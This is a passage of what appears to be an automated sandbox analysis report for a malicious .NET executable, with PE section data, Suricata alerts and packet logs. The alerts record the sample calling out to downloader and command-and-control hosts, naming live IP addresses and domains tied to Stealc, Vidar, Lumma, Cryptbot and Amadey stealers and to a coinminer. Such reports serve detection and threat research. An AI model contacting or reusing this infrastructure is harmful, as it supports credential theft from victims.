add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2389a9	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x23a000	0x20d4c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25c000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x2388f8	0x38	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x236a04	0x236c00	ad17acdcf138eb7f4a5c04f7df2e147f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x23a000	0x20d4c	0x20e00	230606391ada7a5f112675214d6f4876	False	0.4044156962927757	data	5.1906625929543475	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x25c000	0xc	0x200	68da1c7ffb326306242633f0d1b25bad	False	0.041015625	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x23a1a0	0x80a9	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9884931839572517
RT_ICON	0x24225c	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536	0.1811043416538507
RT_ICON	0x252a94	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384	0.2531294284364667
RT_ICON	0x256ccc	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	0.29512448132780084
RT_ICON	0x259284	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	0.3625703564727955
RT_ICON	0x25a33c	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	0.526595744680851
RT_GROUP_ICON	0x25a7b4	0x5a	data	0.7666666666666667
RT_VERSION	0x25a820	0x32c	data	0.46921182266009853
RT_MANIFEST	0x25ab5c	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-21T13:33:40.760164+0200	2018581	ET MALWARE Single char EXE direct download likely trojan (multiple families)	1	192.168.2.9	49710	103.130.147.211	80	TCP
2024-09-21T13:33:41.108483+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49710	103.130.147.211	80	TCP
2024-09-21T13:33:41.108483+0200	2018581	ET MALWARE Single char EXE direct download likely trojan (multiple families)	1	192.168.2.9	49710	103.130.147.211	80	TCP
2024-09-21T13:33:41.479262+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49712	176.113.115.33	80	TCP
2024-09-21T13:33:41.490300+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49709	147.45.44.104	80	TCP
2024-09-21T13:33:41.675629+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49708	147.45.44.104	80	TCP
2024-09-21T13:33:41.819445+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49719	176.111.174.109	80	TCP
2024-09-21T13:33:42.362870+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49708	147.45.44.104	80	TCP
2024-09-21T13:33:42.377935+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49727	162.241.61.218	443	TCP
2024-09-21T13:33:42.379864+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49726	162.241.61.218	443	TCP
2024-09-21T13:33:42.662417+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49723	185.166.143.50	443	TCP
2024-09-21T13:33:43.497247+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49730	162.241.61.218	443	TCP
2024-09-21T13:33:44.675675+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49708	147.45.44.104	80	TCP
2024-09-21T13:33:45.044797+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49709	147.45.44.104	80	TCP
2024-09-21T13:33:45.120822+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49708	147.45.44.104	80	TCP
2024-09-21T13:33:47.467722+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49708	147.45.44.104	80	TCP
2024-09-21T13:34:13.833469+0200	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.9	49742	5.53.124.195	80	TCP
2024-09-21T13:34:14.150268+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.9	49741	46.8.231.109	80	TCP
2024-09-21T13:34:14.554960+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.9	49741	46.8.231.109	80	TCP
2024-09-21T13:34:14.798575+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	46.8.231.109	80	192.168.2.9	49741	TCP
2024-09-21T13:34:14.978359+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.9	49741	46.8.231.109	80	TCP
2024-09-21T13:34:15.167363+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	46.8.231.109	80	192.168.2.9	49741	TCP
2024-09-21T13:34:15.867896+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.9	49741	46.8.231.109	80	TCP
2024-09-21T13:34:16.871917+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49741	46.8.231.109	80	TCP
2024-09-21T13:34:22.869115+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49741	46.8.231.109	80	TCP
2024-09-21T13:34:23.939753+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49741	46.8.231.109	80	TCP
2024-09-21T13:34:25.046045+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49741	46.8.231.109	80	TCP
2024-09-21T13:34:25.768287+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49741	46.8.231.109	80	TCP
2024-09-21T13:34:27.746321+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49741	46.8.231.109	80	TCP
2024-09-21T13:34:28.167720+0200	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.9	49749	5.53.124.195	80	TCP
2024-09-21T13:34:28.472441+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49741	46.8.231.109	80	TCP
2024-09-21T13:34:33.715457+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49754	162.241.61.218	443	TCP
2024-09-21T13:34:37.403302+0200	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.9	49756	5.53.124.195	80	TCP
2024-09-21T13:34:40.989196+0200	2036289	ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro)	2	192.168.2.9	54235	1.1.1.1	53	UDP
2024-09-21T13:34:41.171990+0200	2056004	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (achievenmtynwjq .shop)	1	192.168.2.9	55583	1.1.1.1	53	UDP
2024-09-21T13:34:41.658171+0200	2056005	ET MALWARE Observed Win32/Lumma Stealer Related Domain (achievenmtynwjq .shop in TLS SNI)	1	192.168.2.9	49760	188.114.97.3	443	TCP
2024-09-21T13:34:43.702789+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.9	49761	116.203.165.127	443	TCP
2024-09-21T13:34:45.330220+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.9	49762	116.203.165.127	443	TCP
2024-09-21T13:34:46.946829+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.9	49763	116.203.165.127	443	TCP
2024-09-21T13:34:47.643249+0200	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	1	192.168.2.9	49763	116.203.165.127	443	TCP
2024-09-21T13:34:47.802912+0200	2056005	ET MALWARE Observed Win32/Lumma Stealer Related Domain (achievenmtynwjq .shop in TLS SNI)	1	192.168.2.9	49764	188.114.97.3	443	TCP
2024-09-21T13:34:48.299832+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.9	49764	188.114.97.3	443	TCP
2024-09-21T13:34:48.299832+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49764	188.114.97.3	443	TCP
2024-09-21T13:34:48.897654+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.9	49765	116.203.165.127	443	TCP
2024-09-21T13:34:50.072379+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	116.203.165.127	443	192.168.2.9	49765	TCP
2024-09-21T13:34:51.164557+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.9	49766	116.203.165.127	443	TCP
2024-09-21T13:34:51.859301+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	116.203.165.127	443	192.168.2.9	49766	TCP
2024-09-21T13:34:55.720448+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.9	49768	116.203.165.127	443	TCP
2024-09-21T13:34:56.709803+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.9	49769	116.203.165.127	443	TCP
2024-09-21T13:34:58.382517+0200	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.9	49770	45.202.35.101	80	TCP
2024-09-21T13:35:00.859949+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.9	49772	116.203.165.127	443	TCP
2024-09-21T13:35:01.796654+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.9	49773	116.203.165.127	443	TCP
2024-09-21T13:35:04.581380+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.9	49774	116.203.165.127	443	TCP
2024-09-21T13:35:06.049583+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.9	49775	116.203.165.127	443	TCP
2024-09-21T13:35:08.195936+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.9	49777	116.203.165.127	443	TCP
2024-09-21T13:35:10.597024+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.9	49778	116.203.165.127	443	TCP
2024-09-21T13:35:12.256533+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.9	49779	116.203.165.127	443	TCP
2024-09-21T13:35:13.919022+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.9	49780	116.203.165.127	443	TCP
2024-09-21T13:35:16.606956+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.9	49781	116.203.165.127	443	TCP
2024-09-21T13:35:20.236859+0200	2055834	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sentistivowmi .shop)	1	192.168.2.9	58290	1.1.1.1	53	UDP
2024-09-21T13:35:20.281769+0200	2056008	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (chickerkuso .shop)	1	192.168.2.9	64268	1.1.1.1	53	UDP
2024-09-21T13:35:20.642900+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.9	49782	116.203.165.127	443	TCP
2024-09-21T13:35:20.931758+0200	2056009	ET MALWARE Observed Win32/Lumma Stealer Related Domain (chickerkuso .shop in TLS SNI)	1	192.168.2.9	49783	104.21.88.61	443	TCP
2024-09-21T13:35:23.079490+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.9	49783	104.21.88.61	443	TCP
2024-09-21T13:35:23.079490+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49783	104.21.88.61	443	TCP
2024-09-21T13:35:23.749169+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.9	49784	116.203.165.127	443	TCP
2024-09-21T13:35:25.594749+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.9	49785	116.203.165.127	443	TCP
2024-09-21T13:35:27.691624+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.9	49786	116.203.165.127	443	TCP
2024-09-21T13:35:28.785398+0200	2056009	ET MALWARE Observed Win32/Lumma Stealer Related Domain (chickerkuso .shop in TLS SNI)	1	192.168.2.9	49787	104.21.88.61	443	TCP
2024-09-21T13:35:29.357540+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.9	49787	104.21.88.61	443	TCP
2024-09-21T13:35:29.357540+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49787	104.21.88.61	443	TCP
2024-09-21T13:35:30.369431+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.9	49788	116.203.165.127	443	TCP
2024-09-21T13:35:33.001805+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.9	49789	116.203.165.127	443	TCP
2024-09-21T13:35:34.885622+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49790	147.45.44.104	80	TCP
2024-09-21T13:35:37.141546+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.9	49791	116.203.165.127	443	TCP
2024-09-21T13:35:38.964489+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.9	49792	116.203.165.127	443	TCP
2024-09-21T13:35:39.856358+0200	2056022	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (questionmwq .shop)	1	192.168.2.9	64873	1.1.1.1	53	UDP
2024-09-21T13:35:40.351202+0200	2056023	ET MALWARE Observed Win32/Lumma Stealer Related Domain (questionmwq .shop in TLS SNI)	1	192.168.2.9	49793	172.67.204.62	443	TCP
2024-09-21T13:35:40.519909+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.9	49793	172.67.204.62	443	TCP
2024-09-21T13:35:40.519909+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49793	172.67.204.62	443	TCP
2024-09-21T13:35:40.759550+0200	2054495	ET MALWARE Vidar Stealer Form Exfil	1	192.168.2.9	49794	45.132.206.251	80	TCP
2024-09-21T13:35:44.757366+0200	2056023	ET MALWARE Observed Win32/Lumma Stealer Related Domain (questionmwq .shop in TLS SNI)	1	192.168.2.9	49797	172.67.204.62	443	TCP
2024-09-21T13:35:45.228535+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.9	49797	172.67.204.62	443	TCP
2024-09-21T13:35:45.228535+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49797	172.67.204.62	443	TCP
2024-09-21T13:35:46.021038+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.9	49798	116.203.165.127	443	TCP
2024-09-21T13:35:47.527790+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.9	49799	116.203.165.127	443	TCP
2024-09-21T13:35:48.974888+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.9	49800	116.203.165.127	443	TCP
2024-09-21T13:35:50.489687+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.9	49802	116.203.165.127	443	TCP
2024-09-21T13:35:51.405870+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	116.203.165.127	443	192.168.2.9	49802	TCP
2024-09-21T13:35:52.154914+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.9	49804	116.203.165.127	443	TCP
2024-09-21T13:35:52.869312+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	116.203.165.127	443	192.168.2.9	49804	TCP
2024-09-21T13:35:54.301685+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.9	49805	116.203.165.127	443	TCP
2024-09-21T13:35:55.279534+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.9	49806	116.203.165.127	443	TCP
2024-09-21T13:35:58.314238+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.9	49807	116.203.165.127	443	TCP
2024-09-21T13:35:59.020772+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.9	49808	116.203.165.127	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 21, 2024 13:33:33.006108046 CEST	49705	80	192.168.2.9	41.216.188.190
Sep 21, 2024 13:33:33.016932964 CEST	80	49705	41.216.188.190	192.168.2.9
Sep 21, 2024 13:33:33.017036915 CEST	49705	80	192.168.2.9	41.216.188.190
Sep 21, 2024 13:33:33.017230034 CEST	49705	80	192.168.2.9	41.216.188.190
Sep 21, 2024 13:33:33.027894020 CEST	80	49705	41.216.188.190	192.168.2.9
Sep 21, 2024 13:33:33.773772955 CEST	80	49705	41.216.188.190	192.168.2.9
Sep 21, 2024 13:33:33.802261114 CEST	49706	443	192.168.2.9	104.237.62.213
Sep 21, 2024 13:33:33.802386045 CEST	443	49706	104.237.62.213	192.168.2.9
Sep 21, 2024 13:33:33.802469969 CEST	49706	443	192.168.2.9	104.237.62.213
Sep 21, 2024 13:33:33.806051970 CEST	49706	443	192.168.2.9	104.237.62.213
Sep 21, 2024 13:33:33.806087017 CEST	443	49706	104.237.62.213	192.168.2.9
Sep 21, 2024 13:33:33.832004070 CEST	49705	80	192.168.2.9	41.216.188.190
Sep 21, 2024 13:33:34.488667965 CEST	443	49706	104.237.62.213	192.168.2.9
Sep 21, 2024 13:33:34.488754988 CEST	49706	443	192.168.2.9	104.237.62.213
Sep 21, 2024 13:33:34.492727041 CEST	49706	443	192.168.2.9	104.237.62.213
Sep 21, 2024 13:33:34.492741108 CEST	443	49706	104.237.62.213	192.168.2.9
Sep 21, 2024 13:33:34.493156910 CEST	443	49706	104.237.62.213	192.168.2.9
Sep 21, 2024 13:33:34.535121918 CEST	49706	443	192.168.2.9	104.237.62.213
Sep 21, 2024 13:33:34.567373037 CEST	49706	443	192.168.2.9	104.237.62.213
Sep 21, 2024 13:33:34.611448050 CEST	443	49706	104.237.62.213	192.168.2.9
Sep 21, 2024 13:33:34.730295897 CEST	443	49706	104.237.62.213	192.168.2.9
Sep 21, 2024 13:33:34.730374098 CEST	443	49706	104.237.62.213	192.168.2.9
Sep 21, 2024 13:33:34.730726004 CEST	49706	443	192.168.2.9	104.237.62.213
Sep 21, 2024 13:33:34.733444929 CEST	49706	443	192.168.2.9	104.237.62.213
Sep 21, 2024 13:33:34.733474016 CEST	443	49706	104.237.62.213	192.168.2.9
Sep 21, 2024 13:33:34.733486891 CEST	49706	443	192.168.2.9	104.237.62.213
Sep 21, 2024 13:33:34.733493090 CEST	443	49706	104.237.62.213	192.168.2.9
Sep 21, 2024 13:33:34.745408058 CEST	49707	443	192.168.2.9	34.117.59.81
Sep 21, 2024 13:33:34.745440960 CEST	443	49707	34.117.59.81	192.168.2.9
Sep 21, 2024 13:33:34.745515108 CEST	49707	443	192.168.2.9	34.117.59.81
Sep 21, 2024 13:33:34.745845079 CEST	49707	443	192.168.2.9	34.117.59.81
Sep 21, 2024 13:33:34.745863914 CEST	443	49707	34.117.59.81	192.168.2.9
Sep 21, 2024 13:33:35.212337971 CEST	443	49707	34.117.59.81	192.168.2.9
Sep 21, 2024 13:33:35.212421894 CEST	49707	443	192.168.2.9	34.117.59.81
Sep 21, 2024 13:33:35.215877056 CEST	49707	443	192.168.2.9	34.117.59.81
Sep 21, 2024 13:33:35.215924978 CEST	443	49707	34.117.59.81	192.168.2.9
Sep 21, 2024 13:33:35.216311932 CEST	443	49707	34.117.59.81	192.168.2.9
Sep 21, 2024 13:33:35.217572927 CEST	49707	443	192.168.2.9	34.117.59.81
Sep 21, 2024 13:33:35.259443998 CEST	443	49707	34.117.59.81	192.168.2.9
Sep 21, 2024 13:33:35.342942953 CEST	443	49707	34.117.59.81	192.168.2.9
Sep 21, 2024 13:33:35.343086004 CEST	443	49707	34.117.59.81	192.168.2.9
Sep 21, 2024 13:33:35.343164921 CEST	49707	443	192.168.2.9	34.117.59.81
Sep 21, 2024 13:33:35.343544006 CEST	49707	443	192.168.2.9	34.117.59.81
Sep 21, 2024 13:33:35.343579054 CEST	443	49707	34.117.59.81	192.168.2.9
Sep 21, 2024 13:33:35.343597889 CEST	49707	443	192.168.2.9	34.117.59.81
Sep 21, 2024 13:33:35.343605995 CEST	443	49707	34.117.59.81	192.168.2.9
Sep 21, 2024 13:33:37.361995935 CEST	49705	80	192.168.2.9	41.216.188.190
Sep 21, 2024 13:33:37.362059116 CEST	49705	80	192.168.2.9	41.216.188.190
Sep 21, 2024 13:33:37.371634007 CEST	80	49705	41.216.188.190	192.168.2.9
Sep 21, 2024 13:33:37.373434067 CEST	80	49705	41.216.188.190	192.168.2.9
Sep 21, 2024 13:33:38.069564104 CEST	80	49705	41.216.188.190	192.168.2.9
Sep 21, 2024 13:33:38.113292933 CEST	49705	80	192.168.2.9	41.216.188.190
Sep 21, 2024 13:33:38.201370001 CEST	49705	80	192.168.2.9	41.216.188.190
Sep 21, 2024 13:33:38.201390028 CEST	49705	80	192.168.2.9	41.216.188.190
Sep 21, 2024 13:33:38.238907099 CEST	80	49705	41.216.188.190	192.168.2.9
Sep 21, 2024 13:33:38.240058899 CEST	80	49705	41.216.188.190	192.168.2.9
Sep 21, 2024 13:33:39.208544016 CEST	80	49705	41.216.188.190	192.168.2.9
Sep 21, 2024 13:33:39.208564043 CEST	80	49705	41.216.188.190	192.168.2.9
Sep 21, 2024 13:33:39.208578110 CEST	80	49705	41.216.188.190	192.168.2.9
Sep 21, 2024 13:33:39.208719015 CEST	49705	80	192.168.2.9	41.216.188.190
Sep 21, 2024 13:33:39.253923893 CEST	49705	80	192.168.2.9	41.216.188.190
Sep 21, 2024 13:33:40.179441929 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:40.179770947 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:40.180766106 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:40.181478024 CEST	49711	80	192.168.2.9	176.111.174.109
Sep 21, 2024 13:33:40.182961941 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:40.185316086 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:40.185380936 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:40.185412884 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:40.185481071 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:40.185662985 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:40.185719967 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:40.185796022 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:40.185962915 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:40.186038971 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:40.186384916 CEST	80	49711	176.111.174.109	192.168.2.9
Sep 21, 2024 13:33:40.186453104 CEST	49711	80	192.168.2.9	176.111.174.109
Sep 21, 2024 13:33:40.186645985 CEST	49711	80	192.168.2.9	176.111.174.109
Sep 21, 2024 13:33:40.188179016 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:40.188242912 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:40.188618898 CEST	49713	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:40.188786983 CEST	49714	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:40.188874006 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:40.192643881 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:40.192676067 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:40.192703962 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:40.193417072 CEST	49715	80	192.168.2.9	185.166.143.50
Sep 21, 2024 13:33:40.194142103 CEST	80	49711	176.111.174.109	192.168.2.9
Sep 21, 2024 13:33:40.194174051 CEST	80	49713	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:40.194224119 CEST	80	49714	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:40.194251060 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:40.194255114 CEST	49713	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:40.194283962 CEST	49714	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:40.194776058 CEST	49713	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:40.194885015 CEST	49714	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:40.198775053 CEST	80	49715	185.166.143.50	192.168.2.9
Sep 21, 2024 13:33:40.198854923 CEST	49715	80	192.168.2.9	185.166.143.50
Sep 21, 2024 13:33:40.199032068 CEST	49715	80	192.168.2.9	185.166.143.50
Sep 21, 2024 13:33:40.200532913 CEST	80	49713	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:40.200675964 CEST	80	49714	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:40.205476999 CEST	80	49715	185.166.143.50	192.168.2.9
Sep 21, 2024 13:33:40.679855108 CEST	80	49714	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:40.679925919 CEST	49714	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:40.680196047 CEST	80	49714	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:40.680249929 CEST	49714	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:40.681301117 CEST	49714	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:40.682235003 CEST	49716	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:40.686228037 CEST	80	49714	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:40.687033892 CEST	80	49716	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:40.687138081 CEST	49716	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:40.687426090 CEST	49716	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:40.692377090 CEST	80	49716	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:40.702334881 CEST	80	49713	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:40.702402115 CEST	49713	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:40.702517033 CEST	80	49713	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:40.702557087 CEST	49713	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:40.702713013 CEST	49713	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:40.703079939 CEST	49717	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:40.707458973 CEST	80	49713	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:40.707886934 CEST	80	49717	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:40.707962036 CEST	49717	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:40.708254099 CEST	49717	80	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:40.713284969 CEST	80	49717	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:40.760092974 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:40.760164022 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:40.761262894 CEST	49710	80	192.168.2.9	103.130.147.211
